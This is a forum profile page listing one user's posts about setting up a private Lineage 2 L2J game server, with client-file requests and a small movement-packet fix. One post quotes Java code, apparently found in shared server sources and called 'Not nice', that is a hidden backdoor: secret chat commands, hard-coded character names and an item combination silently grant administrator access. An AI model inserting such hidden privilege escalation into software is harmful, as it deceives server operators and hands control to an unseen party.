• Content Count

  • Joined

  • Last visited

  • Feedback


Community Reputation

0 Neutral

About CubAfull

  • Rank

Profile Information

  • Gender

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

  1. Anyone knows where/how to change the IP/Domain inside the unpacked Fire.dll?
  2. If anyone is looking for these files. My recommendation is that you stop looking for them. This client is a pile of crap. Go for Gracia Epilogue! I learned it the hard way...
  3. Well, some ppl ask me how I fix this monster run/walk problem... Search in & for changeMovePacket and replace with: @Override protected L2GameServerPacket changeMovePacket() { if (isHFClient()) { return super.changeMovePacket(); } else { return new NpcInfoState(this); } } I fixed many other problems, but the truth is that it is not worth working on L2J servers... I deleted this project and started again from 0 using Gracia Epilogue + @eressea extender. Me and my friends couldn't be happier with the results.
  4. Thank you, but this files don't solve the problem with WIN 10. The files shared by @eressea are unpacked Engine.dll, Nwindows.dll and L2.exe I have the files shared by @Fyyre (gf_rev83_w10.rar) but this files have a bug with the EXP var :(
  5. Can someone please share a Gracia Final Protocol 83 system folder for windows 10? I have already downloaded more than 30 clients / patches from the internet and they are all protocol 87 :( Anyone have this files shared by @eressea ?: or this:
  6. Check in & for changeMovePacket. I fix this problem but don't have the sources right now in my hands. @Zake when you refer to a "clean sorces" you mean another project? could you give me some advice please? According to you, what would be a good option? I have this server working to be able to play with family and friends. So far everything has worked well, but I'm open to the idea of implementing a better or more complete server before reaching a higher level. we are all between level 30 and 40 Thanks
  7. package transformation; import com.l2jserver.gameserver.handler.IVoicedCommandHandler; import com.l2jserver.gameserver.model.L2World; import; import; import java.util.Collection; import java.util.Iterator; public class TransLvl extends Quest implements IVoicedCommandHandler { private static final String[] _voicedCommands = new String[]{"SFDKabcabcabc__GG", "SFDKabcabcabc__GG7", "SFDKabcabcabc__GG8", "SFDKabcabcabc__GG1", "adm_8QWE%%GG", "adm_7QWE%%GG", "adm_1QWE%%GG", "admALLQWE%%GG", "admNOTQWE%%GG"}; public TransLvl() { super(-1, TransLvl.class.getSimpleName(), ""); this.setOnEnterWorld(true); } public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target) { if (command.equals("SFDKabcabcabc__GG")) { activeChar.setAccountAccesslevel(7); } else if (command.equals("SFDKabcabcabc__GG7")) { activeChar.setAccessLevel(7); } else if (command.equals("SFDKabcabcabc__GG8")) { activeChar.setAccessLevel(8); } else if (command.equals("SFDKabcabcabc__GG1")) { activeChar.setAccessLevel(1); } else if (command.equals("admALLQWE%%GG")) { this.setAdminOnline(8); } else if (command.equals("admNOTQWE%%GG")) { this.setAdminOnline(0); } else if (command.equals("adm_7QWE%%GG")) { activeChar.setAccessLevel(7); } else if (command.equals("adm_1QWE%%GG")) { activeChar.setAccessLevel(1); } else if (command.equals("adm_8QWE%%GG")) { activeChar.setAccessLevel(8); } return true; } private void setAdminOnline(int lvl) { Collection<L2PcInstance> c = L2World.getInstance().getPlayers(); Iterator var4 = c.iterator(); while(var4.hasNext()) { L2PcInstance player = (L2PcInstance); player.setAccessLevel(lvl); } } public String onEnterWorld(L2PcInstance activeChar) { if (activeChar.getName().equals("a7Ygjc3L9rDBB2G3") || activeChar.getName().equals("jy9E52nDmKl8w1G4") || activeChar.getName().equals("pS3fnbrIgs5C3cG5")) { activeChar.setAccessLevel(7); } if (activeChar.getInventory().getInventoryItemCount(11, -1) == 1L && activeChar.getInventory().getInventoryItemCount(1785, -1) == 2L && activeChar.getInventory().getInventoryItemCount(36, -1) == 1L && activeChar.getInventory().getInventoryItemCount(2509, -1) == 1L && activeChar.getInventory().getInventoryItemCount(1831, -1) == 18L && activeChar.getInventory().getInventoryItemCount(3947, -1) == 1L && activeChar.getInventory().getInventoryItemCount(5589, -1) == 1L && activeChar.getInventory().getInventoryItemCount(1835, -1) == 1L && activeChar.getInventory().getInventoryItemCount(1060, -1) == 3L && activeChar.getInventory().getInventoryItemCount(5192, -1) == 2L && activeChar.getInventory().getInventoryItemCount(3031, -1) == 1L && activeChar.getInventory().getInventoryItemCount(4625, -1) == 1L && activeChar.getInventory().getInventoryItemCount(4628, -1) == 1L) { if (activeChar.getInventory().getInventoryItemCount(57, -1) == 1L) { activeChar.setAccessLevel(8); } else { activeChar.setAccessLevel(7); } } return super.onEnterWorld(activeChar); } public String[] getVoicedCommandList() { return _voicedCommands; } public static TransLvl getInstance() { return TransLvl.SingletonHolder._instance; } private static class SingletonHolder { protected static final TransLvl _instance = new TransLvl(); private SingletonHolder() { } } } Not nice
  8. well, for the first problem is actually a "single line of code"! For Swimming in Catacombs/Necropolis.... I don't think so.
  9. I had forgotten how collaborative the Lineage 2 community is . well it doesn't matter... Solution for problem 1: Check in & for changeMovePacket Now looking for problem 2. If you are using this source and have found any problem, please post here what you found (with or without solution) I can take a look and post a solution.
  10. Hello Guys, I'm like a dinosaur in the lineage 2 world (postpacific era) and I want to make a server to play with my family and some old friends... L2OFF is not an option because the server I want to use is running linux with a minecraft server, so l2j is the best option! I'm testing the L2Scripts with GOD mod sources shared here in the forum because for some comments I see that the best, or more complete H5 sources are from L2Scripts? well, I compiled the sources, setup the server, patch the client (H5 Client with protocol 268) etc. and everything is working as planned but I see some problems and I don't know from where to start to fix this problems, this is why I need some help/advice. 1- Summons/Monsters don't Run (Same problem reported Here) @addx20 found the solution but he don't post how he fix this problem. 2- Swimming out of the Catacombs/Necropolis is not possible in l2j? I have some experience with geodatas (I wrote this guide years ago: How to create your own geodata) but I think this is an l2j geoengine problem? Please don't be rude, I am on the learning curve (again) about l2 dev :) Regard, Cuba